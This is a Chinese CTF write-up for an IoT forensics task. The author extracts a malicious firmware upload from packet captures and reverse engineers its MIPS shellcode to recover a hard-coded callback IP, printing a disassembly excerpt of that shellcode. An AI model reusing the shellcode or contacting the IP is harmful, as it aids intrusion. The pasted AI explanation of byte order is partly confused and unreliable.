第八届西湖论剑_sharkp
参考wp:
iot 逆向思路
:西湖论剑WriteUp
| CN-SEC 中文网
web思路
: 西湖论剑 By 金石滩小鲨鱼 | Ya1orin🍭
官方wp
: 第八届西湖论剑·中国杭州网络安全技能大赛初赛官方Write Up(上)
流量分析法
恶意文件可以使用在线安全沙箱来分析出恶意ip
导出文件(又记了一次_悲_)(但是实际上这次不在这里):
首先确认恶意文件是在http中上传的,然后就可以使用
导出对象
找到对应协议可以看到这里面有好几个协议,选择http
然后
wireshark
就会过滤出所有的http协议中有的内容,然后上选择对应的目标文件setFirmwareUpgrade
另存
然后是大大的教训
沙箱
与他人wp中hash相同但是一直无法检测出外联行为,无法进行,疑似木马检测了时间,设置了发送时间限制,故无法从沙箱中判断
所以需要尝试逆向来进行ip获取
逆向解法
f5将汇编翻译成c语言
搜索
syscall 0x40404
发现上下文1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20.shellcode:00410114 syscall 0x40404
.shellcode:00410118 move $s5, $v0
.shellcode:0041011C bnez $v0, main_lab
.shellcode:00410120 nop
.shellcode:00410124 li $t9, 0xFFFFFFFD
.shellcode:00410128 nor $a0, $t9, $zero
.shellcode:0041012C li $t9, 0xFFFFFFFD
.shellcode:00410130 nor $a1, $t9, $zero
.shellcode:00410134 slti $a2, $zero, -1
.shellcode:00410138 li $v0, 0x1057
.shellcode:0041013C syscall 0x40404
.shellcode:00410140 sw $v0, var_4($sp)
.shellcode:00410144 lw $s0, var_4($sp)
.shellcode:00410148 li $t9, 0x47DDFFFD
.shellcode:00410150 nor $t1, $t9, $zero
.shellcode:00410154 sw $t1, var_8($sp)
.shellcode:00410158 li $t1, 0xA158C373
.shellcode:00410160 sw $t1, var_4($sp)
.shellcode:00410164 addiu $sp, -8
.shellcode:00410168 sw $s0, 8+var_10+4($sp)ai发现注入了
1
2.shellcode:00410158 li $t1, 0xA158C373 # 写入魔数
.shellcode:00410160 sw $t1, var_4($sp) # 存储到栈0xA158C373
转化过来是对于
1010 0001 0101 1000 1100 0011 0111 0011
,ip地址的编码规则是8位二进制分,解析出来是161.88.195.115,实际上答案应该是:115.195.88.161
存在字节序问题
你发现了一个关键细节!
0xA158C373
在不同字节序下会解析出不同的 IP 地址。以下是完整解释:
1. 根本原因:字节序(Endianness)问题
0xA158C373
是 32位十六进制值,但它在内存中的存储方式取决于 CPU 的字节序:- 大端序(Big-Endian):高位字节在前 →
A1 58 C3 73
→ 161.88.195.115
(人类直觉顺序,网络传输标准) - 小端序(Little-Endian):低位字节在前 →
73 C3 58 A1
→ 115.195.88.161
(x86/ARM等常见CPU的默认顺序)
2. 你的代码场景分析
(1) MIPS架构的字节序
MIPS CPU 可能是大端或小端(取决于具体型号):
- 如果你在 小端序 MIPS 系统(或模拟器)中运行代码,
0xA158C373
会被当作73 C3 58 A1
解析 → 115.195.88.161。
- 如果你在 小端序 MIPS 系统(或模拟器)中运行代码,
- 大端序(Big-Endian):高位字节在前 →
- 如果是 大端序 MIPS,则解析为 161.88.195.115。
(2) 指令中的隐式转换
当代码执行以下操作时:
1 | li $t1, 0xA158C373 # 将值加载到寄存器 |
li
指令:直接加载0xA158C373
到寄存器,不改变字节序。sw
指令:将寄存器的值按当前CPU字节序写入内存。
3. 如何验证正确的IP?
(1) 动态调试检查
在调试器中查看 $t1
寄存器的实际字节排列:
1 | (gdb) x/4xb $t1 # 显示$t1的4个字节 |
(2) 代码上下文
如果后续代码将
$t1
作为 网络数据包 发送(如通过sendto
),需按 大端序(网络字节序) 转换:1
2li $t1, 0xA158C373
swl $t1, 0($sp) # 强制按大端序存储此时IP为 161.88.195.115。
如果直接用于 本地计算(如加密密钥),则保持小端序 115.195.88.161。
收集wireshark
使用方法
1 | http.request.method == "POST" |
过滤出二进制流传输判断传输了文件
1 | http.content_type == "application/octet-stream" |
教训
遇到意义不明的二进制流放沙箱! 是否改后缀无所谓,但是一定要通过导出对象
另存为只能获得txt!
获取response返回的文件
1
http.content_type == "application/octet-stream"
找到之后选择另存为
总结发现这个另存为只会被识别为text!